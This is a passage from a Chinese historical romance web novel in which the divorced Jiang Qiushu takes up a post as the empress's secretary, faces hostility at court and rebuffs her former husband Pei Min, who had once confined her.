可裴承不晓得该说什么,只是想与她多待会儿,他看着她时,双颊泛着红,原是持重的人,如今倒是多了些青涩少年郎君的模样。 她还是如以往般好看,没有改变。 “她是你五叔母!”裴珉自游廊处走来,盯着裴承,似野兽护着地盘,不容旁人侵略,“你该叫她五叔母,不是什么姜娘子!” “五叔,”裴承行了礼,可心头是不服气的,“姜娘子与你和离了!” 姜秋姝只觉得,这气其实可以不透,想要离开,裴珉抓住了她的手,姜秋姝甩了他一巴掌。 “裴珉,你千不该万不该囚住我!”姜秋姝从未这般厌恶他! 脚上的锁链,像是一根儿刺,刺在她心里。 裴珉动了动牙齿,唇角渗了些血,这是她第二次打他。 “娘子,可曾记得我与你说的,你的手便是印章,盖在我脸上,便是允诺了,你要赔上一辈子!”裴珉擦了擦嘴角的血渍,按在了姜秋姝的唇角,“如此便是盖章了!” 姜秋姝忍不住想要扇第二掌,可又怕此人再说出什么疯癫之言。 她将自己唇角的血渍擦干净,脸上的嫌弃丝毫没有遮挡。 “裴珉,你所想要的,不过是原木雕刻成的模子所成之物,而我便是要被压进那个模子里,成为你所期望之人。”姜秋姝戳破了这层叫人恶心的皮。 裴珉所要的是强求,或许他当真对她动过心,可不管之前还是之后,他只是在按照他想要的。 嫁与他,他要她成为贤良淑德的模样,现在他强留下她,将她锁在房间里,也只是他想,从没有问过她愿意与否。 “回府好好瞧瞧,我送了份大礼给你!”姜秋姝甩开了他的手,回了宴席。 裴承捏着掌心,面前这个他所敬爱的五叔,完全变了模样。 “五叔,你不该那样对姜娘子!” “那是你五叔母!”裴珉转过头看着他,眼眸中怒火簇簇。 裴承所有的心思,在他面前无所遁形,在两年前,他便看出了些端倪,只是她走了,他也就没了心思去理会裴承。 没想到,他如今还未息了那心。 他方才瞧见了他在对姜秋姝献殷勤! “可你们和离了!”裴承直视着裴珉,这个他自幼最为敬仰之人,也曾暗暗发誓,要像裴珉一般,名扬洛阳。 可如今,他有了私心。 “裴承,你可晓得自己在说什么!”裴珉几近暴怒,不可置信的看着这个自幼便极为照顾的侄子,眼神中是隐隐的施压,要他将一切话都吞回去,他不愿意听见。 裴承是惧怕他的,这个与以往温和知礼完全不同的五叔,他手里是沾过鲜血的,皆说定国公府五郎是个文人,可只有他晓得,他这个文人,手里有过多少的人命。 只是此事只他一人记得! 裴承垂首,遮住了眼底的一切神色,“五叔,当初就不该让我待你去迎亲,拜堂,那颗妄想的心,是因您而起!” 裴珉往后退了步,看着面前直言不讳的侄子,他心中被悔恨填满,原来一切从那时便埋下了种子! 她与宋执书的假成婚,是因为宋太夫人比他重要,那场他未出现的婚事,是因为那时他心中所想,只有替老师洗刷冤屈。 如她而言,都只是选择。 可一步错,步步错!如今竟然会叫裴承因此生了妄念! 这般大逆不道的念头,无论是何时,都是会被唾弃的,裴承身为国公府嫡长孙,自然更加不能背上污点 那封被太夫人签下的和离书,是为了裴承! “收起你的妄念,即便我们和离了,她也曾是你的长辈!”裴珉提醒着他,“若你还想要如太夫人所愿,旁的皆不要多想!” 裴承晓得自己不可能为一己之私,而什么都不顾,祖母为他做了良多,他亲父才是定国公府的正统,他自然也是想要那个位置的。 可裴承不甘心的看着他,“五叔,当今圣后便做过太祖的”。 “闭嘴!”裴珉呵斥他,此话不能说,尤其是在宫中。 裴承捏紧拳头,将话咽了回去。 “裴承你且记住,若是再动妄念,我不会轻易放过你,即便你是我侄儿!”裴珉眼神警告,只留下了这么句,就离开了,宫宴未结束,不能在外耽搁太久! 裴承看着裴珉的背影,他什么都清楚,可他就是不服气。 分明他什么都不差,只是比五叔晚些遇上她。 ~~ 圣后看着裴珉与姜秋姝前后脚回了位置,唇角的弧度,比方才要深了些。 “母后,你明晓得裴太傅是如何待姜氏的,为何还要将她放在您身边,儿臣不喜她!”李长宁看着姜秋姝,不满的扯着圣后的袖子。 “胡闹!”圣后蹙眉,让李长宁老实些,正是与裴珉关系不同寻常,她才要放在身边。 “姜娘子与百姓有功,此乃奖赏!”圣后解释道。 李长宁更是不服气了,“姜氏离开了定国公府,必定是缺银两又无宅邸,母后给些钱财和屋子,打发就是了,还给了什么官职!分明大周只儿臣一人可上殿议政,儿臣只是懒得去,才从未去过。如今她去了!平白抢了儿臣风头!” 最后一句说的极其小声,圣后深深的看了她一眼,李长宁只抬着头,眼神疑惑的看着圣后,“怎么了?” “母后还以为,你是在替姜侍书要钱和房屋呢!”圣后半开玩笑道。 “怎么可能,母后!儿臣只是想要您撤了她职位,给些东西将人给打发了!您可千万别多想,最好什么也别给,让她直接离开。”李长宁愤愤道。 “怎这般不喜姜侍书?”天后问道。 “儿臣以往是喜欢的,可上回在猎场,姜氏半点儿都不懂得欣赏儿臣身边的人,跟裴太傅那个老学究一样,觉着儿臣不着调,行事荒唐,儿臣身份公主,最是尊贵,请了她是给她面子,由不得她那般下儿臣面子的!” 圣后却道,“她如今是母后的人,没个住处肯定不行的。” 说完话,圣后喊来了内侍监,将洛阳一处二进的宅院,给了姜秋姝。 “母后!”李长宁更是不依了,“您真是不疼儿臣了!明知晓儿臣不喜!” 圣后安抚着李长宁,给她赏了好些金银首饰,却最后还是敲打道:“姜侍书今后会常在我身边,你是我最疼爱的女儿,莫要让母后难做!” 李长宁点了点头,眼神里却仍旧不乐意。 暗地里,李长宁松了口气,想到姜秋姝又欠她个人情就高兴。 宴席结束后,姜秋姝由着宫里的内侍将她送出宫,圣后说的宅院,还未整理好,她只得找家客栈休息。 马车刚出了宫门,便有人拦住了她的身影。 姜秋姝忍住心里的惊讶,还是推开了车窗。 “姜娘子,”郑如珠朝着姜秋姝施了礼,“该叫您姜大人了。” 郑如珠嘴唇的苦涩,连掩饰都显得艰难。她承认回洛阳后,她便想过继续与裴珉的婚事,她愿意屈居平妻之位,只为了郑家。 郑家如今只是空壳子,即便受圣人恩典,阿兄重新入了朝堂,可不过担任礼部侍郎一职。 礼部在六部中没有实权,他们郑家原本何等风光,阿耶原是尚书令,统领尚书省,揽六部,就连裴珉在阿耶面前,也只能俯首谦称学生。 只过了几年,一切都变了,郑家再也不复以往,即便他们回洛阳后办的宴席,大数的世家都参加了。 可也不过是看在圣人和定国公的面子上。 “有何事?”姜秋姝面露疑惑。 她们实乃交情甚浅,连话都未说上几句。 “可否进来一叙。”郑如珠问道。 姜秋姝让人进来了,两人落坐后,郑如珠声带歉意,“因我之昏迷,让姜娘子与师兄起了嫌隙是我错,如今姜娘子既然回了洛阳,与师兄也是登对的很,不若摒弃旧隙,重归于好。” 姜秋姝见了郑如珠,原是无甚旁的感触,可听她此言,眼神流露几分讥讽,“我与裴大人之事,郑娘子横加干涉,与我又非亲非故,善解人意的劝诫,只会叫人生厌。” 她与裴珉之间,又哪里因郑如珠之故,她或许是个导火索,可到底没那般大的作用。 即便继续待在定国公府,她不是个能够忍耐的性子,日后也会想通。 郑如珠拱手,歉意不减反增,“不管姜娘子信不信,我本意并非是要让师兄与姜娘子有隔阂。我昏迷之事…” 郑如珠停顿了片刻道:“我昏迷之事,实属巧合,府中那些言论非我之原意。我确实想要嫁给师兄,我们原本就有婚约。” 姜秋姝颔首,只是并没有旁的什么反应。 “姜娘子你?”郑如珠也觉着意外,还是道,“如今我已经看清,不会再与师兄有任何的瓜葛。” 马车里寂静,越是寂静,郑如珠的心越悬着,她心中却是有过阴暗,她出身高贵,洛阳人人艳羡的第一才女,与裴珉又早有婚约在,结果叫旁人捡了便宜。 倒不是她有多心悦裴珉,多年相处,动过心正常,可她看重的,是裴珉背后的定国公府和他如今的身份。 她没想过故意拆散姜秋姝和裴珉。 “这倒也不必与我说,”姜秋姝诚恳道,“你若是还想要嫁给裴珉,尽管去,我也祝愿你与他白头偕老。” ‘砰’的一声,马车像是撞在了什么地方,颠簸的厉害,郑如珠险些撞在小桌上时,姜秋姝连忙拉住了她。 “发生何事?”姜秋姝问着内侍,又掀开了车窗。 正正与裴珉对上了视线,她看着裴珉眼眸中的痛苦脆弱阴冷,有些发愣。 他是听见她说的了?倒也并不重要。 “裴大人还请小心些。”姜秋姝提醒了句,“还未瞧过我送给裴大人的大礼,可别折在街上了!” 裴珉一直盯着姜秋姝,拉住缰绳的手很紧,她鼓动旁的人与他在一起。 已经丝毫不在意了吗?逃开了他,便又有了欢颜,与他在一处,日日都是痛苦的? 姜秋姝没理会,关上车门,让内侍继续赶车。 郑如珠看着自己的手,方才的触感尚在,尤其是姜秋姝尽力护住她时,羞愧之感,往心头涌去。 “郑娘子,你若是想与裴珉在一处,是极好的,你与他才是天造地设的一对。”自从瞧见了郑如珠,姜秋姝晓得,裴珉所要的夫人便是她这模样的。 她不晓得裴珉内心是否心悦郑六娘,可郑六娘确实最为适合他的。 完全不需要学习任何的典籍,礼仪,就能坐好定国公五夫人的位置。 “你与师兄真的不能重归于好吗?” 他们郑家与定国公府因此生了嫌隙,即便她与阿兄百般补偿,可始终叫师兄对他们冷待。 阿兄也没想到一个姜秋姝,会对师兄有这般大的影响,他只是想要寻个靠山,重振郑家。 姜秋姝没想到郑如珠还不死心,她收敛了所有神色,只冷声道:“郑娘子今日贸然来找我致歉,本就是叫人惊讶的。我在想若我并未做圣后的侍书,你会来吗?” 这话,将所有虚伪的面具全部揭开,郑如珠脸上彻底僵住了。 是的! 世家女子高傲,怎会对寻常女子低头。 郑如珠下了马车,没了往日的神采,她这第一才女,不过是虚名而已。 姜秋姝进了客栈,让小二开了房,因明日要上早朝,洗漱后她便立刻就寝。 她这边睡得极好,定国公府却是开了锅。 当定国公府的马车停在门外,便有门房上前,他们神色慌张,皆支支吾吾不敢只说。 “到底怎么了!”定国公最是干脆之人,讨厌这些吞吞吐吐之言。 “玉…玉珩院垮了!”穿黑衣的门房被推了出来,他根本不敢看裴珉的神色。 一行人面面相觑,没能弄懂门房的意思,好好一院子怎会垮? 等到了玉珩院,他们看着砖瓦落了一地,玉珩院正房,从最边缘的一根柱子倒在地上,房顶空了一小半,露出了里面,都是碎瓦残砾。 “这这!”太夫人不可思议的看着,“这不是五郎关姜氏的地方。” 一句话叫众人醒悟,既然姜氏逃出了屋子,去了宫宴,此处必定是姜氏所做! 所有人看向了裴珉,尤其是定国公眼中失望,“五郎,瞧瞧你做的糊涂事!” 太夫人乐意瞧见这一幕,裴承听着祖母点明时,便晓得祖母的有意。 他没有说话,她真的与寻常女子不同,裴承心里的绮思又在往外冒。 可到底还是被他给压了下去。 这是最里侧的顶梁柱被弄断,导致屋子没有支撑,才彻底的毁了的,据玉珩院里的奴仆说,房间里传出过响动,可房门自里被重物给抵住,就连窗户都被封住了,他们即便听到了异样,也进不去。 只是靠近书案头顶的砖瓦还是好的,姜秋姝应当是躲在了此处。 裴珉看着这破败的房间,神情灰败,胸口的疼,自听见她在马车上的那番话时,便断断续续,一直到回了玉珩院,瞧着此处的残败。 她的痕迹被彻底的消弭。 真是连最后的念想,都不留给他! 大周上朝在卯时初,便是各官员需得在五更天起来洗漱,才能准时到太极殿点卯。 姜秋姝昏昏沉沉,浇了把冷水在脸上才彻底清醒,她如今晓得了为何每每她醒来,总是瞧不见裴珉的踪影了。 实在起的太早了些。 她雇了马车到了宫门口,因她才上任并没有官服,殿中侍御史不曾识得她,直接拦住了她。 殿中侍御史虽是七品小官儿,但可监察百官朝会仪态。 “敢擅闯入宫,若是不想死离远些。”年轻的殿中侍御史虽被姜秋姝样貌所震撼,可还是谨记自己的职责。 “大人安,我是圣后亲封侍书。”姜秋姝表明了身份,他们位低,昨夜也并未参与什么春日宴,虽然听闻到了些消息,可还是不敢轻易放了人。 尤其旁侧之人直接笑了起来,“你是侍书大人?我还是御史大夫呢!” 莫名被拦住,姜秋姝便只能等等是否有昨日认识官员路过,将她给捎进去。 若是第一日上朝便被拦下,晚了时辰,可有的笑了! 正好瞧见了个熟人,他走了过来。 “哟,姜大人,圣后说您今日第一次上朝,难面不识路,让老奴来瞧瞧,”内侍监连忙朝着他们两人道,“这是姜侍书,日后睁大眼睛,可别什么人都拦。” 两位殿中侍御史,皆不可思议的看着姜秋姝。 真是侍书大人?女子之身当了侍书?! 第48章 第48章对立面 直到姜秋姝被内侍监领着进了宫门,其中一位较为年轻的殿中侍御史盯着姜秋姝的身影,久久没有回过神来。 直到旁边之人,用胳膊碰了碰他,调笑道:“看上了?你是薛家人,这侍书大人说不定,还得讨好你呢!” “休得胡说!”薛姓殿中侍御史冷声道,“女子闺誉,容不得旁人胡说。” 他听祖父提起过这位侍书,只不过还以为是个其貌不显的,所以身侧人去阻拦时,他也没当回事儿。 直到见了她模样,祖父只讲其侍弄花草的本事,为何不说清楚些! 姜秋姝到了太极宫,朝中大臣来了大半,说实话,瞧见姜秋姝有些稀奇,一席女子襦裙,出现在了庄重严肃的朝堂之上,实在格格不入的很。 姜秋姝朝着他们颔首问安,那些大臣晓得侍书之位,算不得多高,可到底是圣后身边人,官阶三品以下,不好受了姜秋姝的礼。 连忙还了回去,只是心底暗暗不屑者众多。 一寻常女子,因牡丹花有了声誉,虽然当了侍书,到底是个空壳子。 不过一夜姜秋姝的身份便传遍了朝堂,他们也晓得,这位姜侍书便是裴太傅寻了两年之人。 只是不晓得,如今裴太傅与这位姜娘子是否还藏有私情? 是该敬重还是当个寻常女官?寻常世家的官员思索起来。 正好此时,裴珉出现在了宫殿里,大臣隐晦的打量落在了姜秋姝和裴珉身上。 这两位从前是夫妻,如今是同僚,此等奇事,真是难得一见啊! 姜秋姝并未朝着裴珉的方向瞧去,只彻底将他当做生人。 昨日,他回府便瞧见她送给他的大礼了吧! 她唇角微抿,他要困住她,她便掀了笼子,只是可惜未曾瞧见裴珉气的发抖的模样! 裴珉看向了姜秋姝,朝堂之上非儿戏,杀人不见血的招数多的是,他不想要她蹚进这摊淤泥里。 正好此时,门外忽然有了阵骚动,等百官看过去后,连忙朝李长宁行礼。 同时却又疑惑,她怎么来了? 李长宁挥退了身侧的奴仆,让他们留在了宫殿外,大摇大摆的走进了太极宫,忽然有一御史挡在了李长宁的身前。 “平乐殿下来此是?” 这位御史姓魏,五六十岁的年纪,是御史台最为刚正不阿的,就连圣后和朝中皇子都得给他面子。 毕竟不是哪个御史,敢指着先帝鼻子骂的! “本宫自是来议事的,”李长宁对魏御史还算客气,“本宫执掌云策军,父皇曾言可入朝议事,魏大人让让。” 魏御史还未见过两位女子并立朝堂,当初圣后掌朝事,他最是反对,可圣后礼贤下士,又仁爱百姓,他即便再不愿,也想要为百姓谋福祉。 便后退了步,勉强让自己接受。 可每每见抬头,见龙椅上的圣后,他亦是忍到极点。 如今前脚来了个姜侍书,后脚又来了个平乐公主,魏御史头疼的很。 可偏偏李长宁说的对,圣人确实允过,不过也是了解因李长宁向来不喜这些琐碎的事,根本不会涉及朝廷,只当是哄女儿的,今日…… “殿下以往也未曾来过?”魏御史真想这些女子哪儿里来的,回哪里! “凭何她姜侍书能来,”李长宁颐指气使道,“凭何风光皆让她一人占了!” 几位皇子刚瞧见李长宁还有些讶异,如今听她这般说,全都懂了。 不过是小孩儿心性,瞧见旁的人拔高,自己不想被压下去。 他们这个皇妹性子如此,倒也正常,便没去理会了。 三皇子走了过来,“魏大人,既是父皇所言,也无可指摘。皇妹向来事忙,闲不住,您安心她不会久待的。” 李长宁行事荒唐,因不喜姜秋姝缘故来此,倒是叫人觉得好笑。 最后一句是特意说给魏御史听的,魏御史也知晓些平乐公主的性子,到底让了路。 只是,这朝堂隐隐有变了的模样,圣后当权,平乐公主闹事,还有个以女子身当侍书的,他心不安。 这时,内侍监挥了挥浮尘,文武百官皆站在了自己的位置上,几位皇子自是离御座最近,李长宁直接站在了几位皇子身前,几位皇子也没有多说,百官皆在,到底也是要搏个礼让幼妹的好名声。 只姜秋姝立在原地,大臣并没有任何举动,甚至无人来告知姜秋姝该站的地方。 以往侍书是站在文官之列,可要他们给个女子让位,到底叫人难受。 尤其是三品以下官员,面上的客气问候还是可以保持,可真当落了实处,叫旁人皆看见个女子站在他们身前,在地位上便将他们给压了过去,他们也是不大拉了下脸的。 他们隐隐打量着裴太傅的反应,瞧他似乎也并不想要帮她,心更是放了下来。 看来在裴太傅心中,此女他早就放下了。 为了裴珉的仕途,和定国公府的脸面,府中人将裴珉囚禁姜秋姝的事瞒得紧。 朝臣自然不晓得,还以为裴珉对姜秋姝的心思淡了。 两年前寻得洛阳满城皆知,两年后再见面却无任何的反应。 文武分列,倒只空出个姜秋姝来,只见她神色如常,丝毫没有怯色,即便感受到百官隐隐的排斥,也没旁的反应。 姜秋姝心底忍不住的哂笑。 男子大都只是话说得好听,可真叫他们让或给些什么出来,可是要他们掉块儿肉的难受! 李长宁抿唇嗤笑,甚至用眼神呵退了要给姜秋姝解围之人。 裴珉暗暗压制想要上前的双腿,只有叫她晓得此乃官场,而非将她奉为救苦难菩萨的江都,她才晓得害怕。 朝中党派甚多,多以姻亲联系,非独身能够抗衡的。 “姜大人,您请。”内侍监忽然走到了姜秋姝身侧,姜秋姝顺着内侍监指的方向看过去。 正是龙椅往下的阶梯,她面上困惑未曾遮掩,内侍监却引着姜秋姝往上走。 一步一阶,她走的不算慢,往上是权利,却也是重责,她不晓得自己能走多远,可落定后便不会后悔。 她只独身一人,虽死不悔! 此处靠近龙椅,能将下方的一切,皆看清楚,正如昨日宴席,圣后替她安排的位置。 她清晰的看见那些朝臣的脸色全变了,错愕,惊吓,甚至是不可置信。 圣后当真是极其宠爱这位侍书!这般宠信,便是内侍监都站的比她低些。 虽说定国公府如日中天,可若是姜侍书未曾与裴太傅和离,那定国公府的权势,怕是其余世家远远不及的! 他们看了看定国公府的众人,也不晓得他们可曾有过后悔。 圣后宠臣的位置,在朝堂可占一席之地,只希望这位侍书大人是个蠢人,只是个因奇遇而攀登高位,有些好运气之人。 裴珉唇角抿直,这有哪里是宠爱,分明是众矢之的! 圣后驾到,群臣皆拱手相迎,待圣后落坐,众人才敢抬头。 姜秋姝亦是恭敬的垂眸,不敢有越举,圣后倒是极为温善,朝着姜秋姝笑了笑。 然后看见了下首的李长宁,圣后面色如常只有些意外,可是很快知道了她这女儿心中所想,不过是不想要姜秋姝独占鳌头。 “有事起奏,无事退朝。”内侍监扬了扬浮尘。 “娘娘,姜侍书所站位置不妥!”魏御史直言道。 与此同时,多名大臣皆站了出来,一侧的二皇子更是站了出来。 二皇子至今忘不了他儿所遭受的祸害,府中两年未曾有过子嗣,他娶了正妃,将府中姬妾驱逐出去,言爱重正妃,只愿与正妃生下子嗣,才将子嗣一事给掩了过去。 “母后,姜侍书不过一没有官阶的女子,怎配站在您身侧。”二皇子道。 “既晓得不妥,为何朝中大人只顾自己,连位置都不晓得给姜侍书让!”圣后声音立刻冷了下来。 “本宫还以为朝中诸位大臣有容人之量!” 此话落,让方才不肯让出位置的大臣皆俯了俯身子,二皇子也噤了声,可还是不甘心。 只是如今他讨不了圣后的好,还是低调行事些。 “是臣疏忽了。”立刻有大臣告饶,圣后不以为意的挥手,“本就是小事,江都水患刚过,如今正值春种,不操劳百姓之事,反倒是论起旁人的位次。你们既然疏忽了,日后姜侍书便在此处。” 圣后下了定论,且又是他们没理在先,朝臣只能歇了心思。 魏御史还想说什么,被身侧的大臣给扯住了衣袖。 后续许多朝臣说起扬州水渠一事,魏御史连开口的机会也没有了。 扬州这些年水患频发,若是无解决之法,灾祸多,百姓多遭难。 群臣议论了半日,终究没有定论,此时王尚书令忽然道:“不知姜侍书可有法子?” 姜秋姝拱手,百官目光皆落到了她身上,她不卑不亢道:“百官都未想出两全之策,臣自然也没有!” 王尚书令似闪过失望,又继续与朝臣商议起来。 接下来的朝堂之上,姜秋姝皆未开口,只是在圣后话落,应和了几句。 朝臣的心也彻底放了下来,他们便说不过是个女子,即便给了她权利,她也不晓得如何用。 女子就是见识短,先前的担忧,如今想来只觉得可笑。 朝会结束,百官皆离开了太极宫,姜秋姝跟着圣后去了内室。 圣后批着折子,她便在一旁磨着墨,李长宁直接走了进来,“母后。” 圣后挥退了周遭之人,姜秋姝刚要离开,被李长宁瞪了眼,圣后装作没瞧见,“姜爱卿留下。” “怎可到朝堂胡闹!”圣后没了往日的温和,冷声道,“还为难姜侍书。” 圣后看的清楚,今日位次便是李长宁私下授意的。 皇权之下,由不得人胡闹,便是圣后自己所出也不行。 “母后,儿臣无错,姜氏能去,我也能去,父皇给我云策军时,允诺过我!况且儿臣并未胡闹,那些大臣不满母后代父皇执政,儿臣只是想要去瞧瞧能不能帮上母后。” 这话圣后不信,她掌权一年多,那些反对的声音早就被她压下,可圣后倒也并不因李长宁说了假话而责罚她,只是道:“罚抄女则十遍。” 李长宁想要拒绝,可在圣后目光中只能应下,可她还是愤然道:“抄便抄,可儿臣还会要去朝堂,儿臣倒是要瞧瞧,您亲封的姜侍书有怎样的本事!” 李长宁哼了声,便离开了。 圣后叹了口气,继续看着奏章。 “平乐公主年纪尚轻,等她知事了,必定可为您分忧。”姜秋姝劝谏道。 “本宫到不希望她替我分忧,”圣后浅笑,“你可晓得为何?” “臣不知?”姜秋姝垂首。 “平乐到底是女儿身又嫁给了薛家,本宫只想要她享尽荣华富贵,本宫的女儿为何要与那些老顽固斡旋,费心费力的。只享受公主之尊,平安便好。”圣后批着奏章,一脸的慈爱。 这话真假,只能信一半。 “若是平乐殿下不甘呢?”姜秋姝抬眸,问着。 圣后听着这犹如挑拨的话,心头笑意多了些,她不希望自己身边之人与朝中哪派亲近,或是哪位皇子公主有任何的牵扯。 只有纯臣,才是她所需要的。 “你与平乐间龃龉太多,她到底是本宫的女儿,大周的公主。” 姜秋姝立刻告饶,“臣无此心,只是好奇。” 圣后并没有怪她,“平乐若想,本宫自是愿意。” 其实姜秋姝心里明白,不管是三皇子还是李长宁,皆在逐渐的被排挤,圣后所图太多。 过了会儿,圣后疲惫的靠在椅子上,合上奏章,“只是平乐太过胡闹了。” “臣瞧着平乐殿下不过是一时之气,待她厌烦了,自然不会再去朝堂。”姜秋姝替圣后揉着眉心。 约莫申时,姜秋姝才出了宫门,路过西大街时,姜秋姝的马车出了些问题,距离客栈也不远了,她便步行往客栈的方向。 往东大街去时,她寻了条小路。 前边儿一家后门忽然打开了,门口站着位约莫十七八岁的小娘子,面容姣好她衣着华贵,却没什么首饰,只将头上的发钗,全给了门口站着的略微年长的老媪,“照顾好我阿弟。” 小娘子眼里含着泪,嘱托着,却未曾瞧见老媪神情中的贪婪。 姜秋姝看过去时,小娘子连忙将老媪给推走了,然后连忙关上了房门。 这座宅邸,她若是没记错的话,是王尚书令家的吧! 姜秋姝多看了几眼,老媪连忙将东西给揣好了,“看什么看!这是我侄女儿,许给了富贵人家!” 老媪瞧着姜秋姝的样貌,眼眸中尽是妒忌,若是她侄女儿有这般美貌,许更能笼络住贵人。 姜秋姝出了着小巷,又走了一刻钟,才来到了客栈,刚上了楼,便来了个姜秋姝并不想瞧见之人。 “娘子,”裴珉拦住她,“与我聊聊?” “你我和离,我非你娘子,裴大人莫乱叫。”姜秋姝早就想和他说清楚了,如今她也不需要利用他,让圣后和朝中人对她刮目相看。 “小满。”裴珉倒是很顺从的改了口,只是依旧叫她不喜。 两人落坐后,有小二上了茶水。 “朝堂并非你想的那般简单,你靠着春幕锦华入了圣后的眼,又因为江都的功绩成了天后身边的近臣,得到了自己想要的,可即便入朝为官,无家族支持,无世族帮扶,旁人随时都可以将你拉下。” “裴大人,我可并非什么神算,江都水患只是意外。”姜秋姝道。 即便没有江都水患,她亦会入了朝堂,只是比如今不显眼,因此她也只能将一切都说成了,她梦中得了春幕锦华的指引,才会不引人注意。 “可小满,我怕你会有危险,如今拉拢你的人众多,你” 姜秋姝笑着给他倒了杯水,堵住了他的话。 “你晓得我最不喜你何处吗?”没等裴珉回答姜秋姝便道,“你管得太多了!” 姜秋姝又给自己倒了水,这并非茶叶,是她故意让小二上的蜜水,瞧着对面之人抿了口,便蹙眉。 她心情畅快了些。 “我只是担忧你,”裴珉放下杯子,“虎狼环伺,你即便入了朝堂,只会成了他人争相利用的手段。” “无用的担忧。”姜秋姝看着他,似将他当做尘埃。 “我嫁与你,你便管着我,让我褪去了姜秋姝的皮,成了定国府的五夫人,洗去了世家人口中的市井气,学焚香,煮酒,一举一动变得端庄文雅,可时至今日,我才真正的晓得,那不过是将姜秋姝打碎了装进盒子里,凝聚成你们想要的样子,那不是我!” 裴珉看着杯子,从未听她这般说过,将她打碎了成了端庄文雅的模样。 所以他从前便是毁了她? 裴珉不敢看她,这话太重太重。 姜秋姝乐意看裴珉伤怀的模样,他所想或许是为了她好。 可,如今他所念所想所担忧,想劝她放弃,不过是将破碎的她从另一个盒子里,放进另外的盒子。 “我晓得如今自己在做什么,”姜秋姝起身,“与你说了那般多,你理应明白,我们间会有今日,不是旁人的错,错只在你我。嫁与你后,我便不是我了!如今我想要找回自己。” 那个敢将赵士远告上公堂,以卑告尊,只为了让辜负她的人付出代价的姜秋姝。 而不是温柔贤淑的定国公五夫人。 裴珉出了房间,慢慢伫立在了原地,“即便会死,你也不怕?” 卷入朝堂纷争,独善其身之人,绝不会是毫无根基的寒门之人,尤其她还是女儿身。 姜秋姝没有回答他,自从阿耶死后,她心中便想着要复仇,要做更多的事,如今她有了能力,就去吧! 她与裴珉,总有一天会站在对立面。 第49章 第49章婚事 姜秋姝独自坐在窗边,刚好瞧见了那个老媪,只是瞧见她行色鬼祟的进了家宅邸,那宅邸里的人对老媪颇为尊敬,老媪也没有方才所见的怯弱,甚至对上前的奴仆颐指气使,好似自己是主人般。 入了洛阳,她正想着该如何做,如今倒是有了几分思绪。 王家人,其中最令她印象深刻的,便是王家九郎。 能在大街上,便肆意妄为夺了宋执书东西,私底下定然有更多的阴司。 这日刚好休沐,姜秋姝搬到了圣后赐与她的宅院,不大只两进,可最和她心意的是,有个大花园,她可种植些自己喜爱的花草。 命人寻了些花草植株,姜秋姝并未请什么奴仆,便自己来干,刚种的差不多,有人来瞧见,是王家小厮来送帖。 帖子上,说是邀她春日赏景。 姜秋姝收下了,送信的小厮探了院里眼,小巧精致,比不得王家宅院,尤其是连个仆人都没有,什么都得自己置办,这位姜侍书还种起东西来,弄得蓬头垢面的。 即便当了侍书,成了圣后亲近人,可出身却低,郎主也不晓得怎么想的,怎会对这样的人另眼相待。 世家人可是少与寒门通婚的,他是郎主身边亲近之人,对郎主的想法,还是能够探听一二。 姜秋姝自然也看见了小厮略带几分鄙夷的模样,她拍了拍手上的泥土,并不觉得脏。 水若是万物之源,土地便是万物之母,吃的东西长在地里,修建的房屋也是自地面而起。 王家宴会那日,姜秋姝按时到了,来宴会的人甚多,此刻已经停了许多辆马车,光是看大门口,这王家就瞧着阔绰的很,与定国公府不相上下。 姜秋姝下了马车,由门房引着往里,王尚书令见了她拱手相迎,“姜大人快请。” 姜秋姝不敢托大,还了礼,可看见王尚书令身侧的年长的夫人神色不见得多好,只是维持着应有的客气。 这是王家大房夫人,她身侧站着二房三房和四房的夫人,其余的夫人娘子皆在旁的地方招待着客人。 “府中小娘子与郎君与姜大人年纪相仿,可去说说话,”随后看着身侧大夫人道,“领着姜大人进去。” 大夫人连忙道:“儿媳省的。” 只是一路上大夫人并未再搭理过她,姜秋姝甚至隐隐感觉到了她的排斥。 大夫人确实不喜姜秋姝,可公公命令,她又不敢不从,她膝下共有两子,三郎和四郎,皆未娶妻,公公的意思她晓得。 可她看不上这位姜侍书,出身不显,即便在朝,可是个无官无职的,不晓得公公为何这般看重她? “府中儿郎顽劣,免得冲撞了姜娘子,你便少与他们说话。”大夫人如此道。 “自然。”她又不是来觅第二春的,王家郎君便是再出色,她也不会动心的。 入了席,姜秋姝的位置不高不低,身侧还有几位尚且认识之人。 相互见礼后,都没怎么说过话,毕竟不熟。 “姜大人,前几日是我失礼了。”一位年轻俊俏的郎君,刚好在姜秋姝身旁。 她疑惑地看着他,只是听他的话,却并没有什么印象。 “那日,非故意将姜大人拦在宫门的。”薛殿中侍御史表明了自己的身份,他唤作薛诰,是薛明义之孙,也就是李长宁夫婿的幼弟。 “小事。”姜秋姝笑着喝下了他敬的酒。 “太公说姜大人擅长养花,正巧我亦是喜爱此事,姜大人若是有空闲,我可来向你请教吗?”薛诰瞧着约莫十七八岁的年纪,还未及冠,一双眸子清澈见底。 瞧着质朴,比起她见过的那么多心思深的男子,他倒是没那般厌烦。 “谈不上什么请教,薛大人若是喜欢,我刚好养了些花,可送你些。”姜秋姝看着面前的男子听了此话后眸光更亮了,心头里的好感多了几分。 薛诰更加喜悦了,移了移软垫,坐到了姜秋姝身侧,姜秋姝不晓得他是何意,便也没动。 “方才隔得远,不能听见大人说话,”薛诰解释道,又给姜秋姝倒了酒,“可否与我讲讲兰草如何养,我总是种不活!” 姜秋姝便一一给他讲了。 “我就说这小子为何要问姜侍书的事!”薛明义的位置,比他们都靠前些,自然将两人一览无余。 薛明义捋着胡须笑了起来。 只是在听见身侧杯子破碎的声音后,他惊讶的看了过去,裴珉掌心流了血,杯子碎裂,有的碎块掉在桌子上,有的还被他抓在手里。 仔细看过去,那只手虎口位置还留着个牙印,本是风雅人,因着牙印平白带了些旖旎气息。 一旁的李明澈感叹道:薛明义当真是长了张好嘴! “裴太傅可还好?”薛明义恍然大悟起来,姜侍书与裴太傅俩关系非比寻常,莫不是听见了他的话? “无事,”裴珉用手绢包着伤口,“手滑了而已。” “裴太傅个文人还有这般力道,厉害!”薛明义夸赞着,“不似我家孙儿,手无缚鸡之力。” 薛明义看着薛诰的方向,露出了慈爱的笑,“只不过会讨女子欢心罢了。” 砰的一声,酒壶被放置在桌上力道大了些,里面的酒也洒了出来。 果然!薛明义笑的比方才还要欣悦。 李明澈简直都想要奔过去,捂薛明义的嘴,真是哪壶不该提哪壶! 可到底他是晚辈,若是做了他太公得抽死他! 这薛大人平时也不这般啊!怎就偏要戳裴珉的痛。 